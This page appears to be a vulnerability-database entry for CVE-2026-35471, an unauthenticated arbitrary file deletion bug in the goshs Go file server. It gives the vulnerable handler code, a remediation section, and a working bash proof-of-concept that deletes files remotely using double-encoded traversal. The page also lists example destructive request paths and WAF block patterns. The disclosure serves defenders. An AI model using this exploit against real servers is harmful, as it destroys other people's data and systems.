Skip to main content

CVE-2026-35471

CRITICAL
Path Traversal (CWE-22)
2026-04-03 https://github.com/patrickhener/goshs GHSA-6qcc-6q27-whp8
9.8
CVSS 3.0 · Vendor: https://github.com/patrickhener/goshs
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send GET request with path traversal sequence
  2. Exploit
    Handler detects .. but fails to return
  3. Impact
    Execute arbitrary file deletion outside intended directory

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions — remote unauthenticated exploitation against default configurations. Attacker sends GET request with ?delete parameter to any path containing '..' (e.g., GET /../../../etc/passwd?delete) to bypass path traversal check and delete arbitrary files.

Impact

Real-world risk is exceptionally high across multiple validated signals. CVSS 9.8 accurately reflects critical severity: network attack vector (AV:N) enables remote exploitation, low complexity (AC:L) requires no special conditions, no privileges required (PR:N) means unauthenticated access, and complete integrity/availability impact (I:H/A:H) allows destruction of arbitrary files. Public exploit code exists with a documented proof-of-concept bash script that demonstrates reliable exploitation using double-encoded traversal sequences. While no EPSS score or CISA KEV status appears in the provided data, the combination of unauthenticated remote access, trivial exploitation complexity, destructive impact, and public weaponization creates an immediate remediation priority. SSVC decision factors indicate high technical impact (arbitrary file deletion can destroy critical system files, application data, or logs), likely automatable exploitation (HTTP-based with no interaction required), and confirmed public exploit availability. Organizations running goshs in production face immediate risk of data loss or system compromise from opportunistic scanning. The default-configuration vulnerability significantly expands the attack surface beyond typical path-traversal scenarios that require authenticated access.

Exploit ScenarioDerived

An unauthenticated attacker identifies a goshs instance exposed on the public internet (default port 8000 or enterprise deployments on standard HTTP ports). Using the provided proof-of-concept, the attacker constructs a request like GET /..%252e..%252e..%252e..%252e..%252e..%252e..%252e..%252e..%252e..%252e..%252e..%252e..%252e..%252e..%252e/etc/cron.d/backup?delete to traverse outside the webroot and delete the system's backup cron job. The double-encoded dots bypass the strings.Contains check but decode during filepath processing, allowing os.RemoveAll to execute against /etc/cron.d/backup. The attacker repeats the technique to delete application configuration files, database dumps, or log files covering their tracks. In cloud environments, attackers could delete cloud-init scripts, SSH authorized_keys, or container orchestration manifests, achieving persistence or denial of service. The attack requires only a single HTTP GET request with no authentication, making it trivially automatable for mass exploitation campaigns against internet-facing goshs deployments.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 03, 2026

Unauthenticated arbitrary file deletion in goshs HTTP file server allows remote attackers to delete any file or directory on the host system via path traversal. A missing return statement after input validation enables attackers to bypass the '..' check by double-encoding traversal sequences (e.g., %252e%252e), sending requests to '/<traversal>/<target-path>?delete' to trigger os.RemoveAll on arbitrary filesystem paths. The vulnerability affects the default configuration with no authentication or special flags required. Public exploit code exists with a working proof-of-concept shell script demonstrating the attack. CVSS 9.8 (Critical) reflects network accessibility, no authentication requirement, and complete impact to integrity and availability. Vendor-released patch available via GitHub commit 237f3af.

RemediationAI

Upgrade to goshs version containing commit 237f3af891a90df9b903b85f1cd3438040ca261a or later, which addresses the missing return statement and improves path traversal validation. The patch is available at https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a. Organizations unable to immediately upgrade should disable the delete functionality by blocking HTTP requests containing the '?delete' query parameter at the reverse proxy or firewall level, or restrict goshs network access to trusted administrative networks only. Review filesystem permissions to ensure the goshs process runs with minimal privileges and cannot delete critical system files. Consult the vendor security advisory at https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8 for additional guidance. Audit logs for suspicious DELETE operations or requests containing encoded traversal sequences (%252e patterns) to identify potential exploitation attempts.

Affected Packages

go github.com/patrickhener/goshs fix: 1.1.5-0.20260401172448-237f3af891a9

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the goshs Go-based HTTP file server's deleteFile function (httpserver/handler.go:645-671). When handling GET requests with a '?delete' query parameter, the code attempts to sanitize user input by checking for '..' sequences after URL-decoding the path. However, a critical logic error allows execution to fall through to os.RemoveAll even when path traversal is detected. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) combined with a missing return statement after the validation check. Attackers exploit this by double-encoding traversal sequences (%252e%252e becomes '..' after the first decode layer), bypassing the string-contains check while still achieving directory traversal. The filepath.Join operation concatenates the webroot with the attacker-controlled path, but insufficient traversal depth in the payload allows escaping the webroot boundary. The Go package identifier pkg:go/github.com_patrickhener_goshs confirms this affects the patrickhener/goshs project.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/patrickhener/goshs) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
SUSE CRITICAL

Primary rating from Vendor (https://github.com/patrickhener/goshs).

CVSS VectorVendor: https://github.com/patrickhener/goshs

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 03, 2026 - 22:15 nvd
Patch available
CVE Published
Apr 03, 2026 - 21:58 nvd
CRITICAL 9.8

DescriptionCVE.org

Summary

  • deleteFile() missing return after path traversal check | httpserver/handler.go:645-671

The finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/handler.go:645-671 Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)

The function detects .. in the decoded path but does not return.

go
func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
    upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))

    fileCleaned, _ := url.QueryUnescape(upath)
    if strings.Contains(fileCleaned, "..") {
        w.WriteHeader(500)
        _, err := w.Write([]byte("Cannot delete file"))
        if err != nil {
            logger.Errorf("error writing answer to client: %+v", err)
        }
        // BUG: no return, falls through to os.RemoveAll
    }

    deletePath := filepath.Join(fs.Webroot, fileCleaned)
    err := os.RemoveAll(deletePath)  // always executes

Root causes: Missing return after the guard makes the check dead code

Impact: Unauthenticated arbitrary file/directory deletion.

PoCs:

bash
#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%252e%252e/"
done
# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")

URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"

echo "[*] Target:  ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")

echo "[*] HTTP ${HTTP_CODE}"

To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary

---

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Executive ViewAI

Why It Matters

CVE-2026-35471 is a critical unauthenticated remote file deletion vulnerability in goshs HTTP file server that allows attackers to delete any file or directory on affected systems through path traversal manipulation. Organizations running goshs in default configuration face immediate risk of data loss, system compromise, and operational disruption without authentication or special preconditions. This requires urgent remediation across all exposed goshs deployments.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If immediate patching is not possible: (1) restrict network access to goshs to trusted internal networks only using firewall rules; (2) disable the delete functionality by removing write permissions on the goshs process and filesystem where feasible; (3) deploy Web Application Firewall rules to block requests containing '%252e', '%252e%252e', and '?delete' query parameters; (4) implement real-time file integrity monitoring and automated alerts for unexpected file deletion events.

Threat Intelligence Overview

EPSS Score
0.1%
Top 79% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Affected Products (CPE)CVE.org

pkg:go/github.com_patrickhener_goshs

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy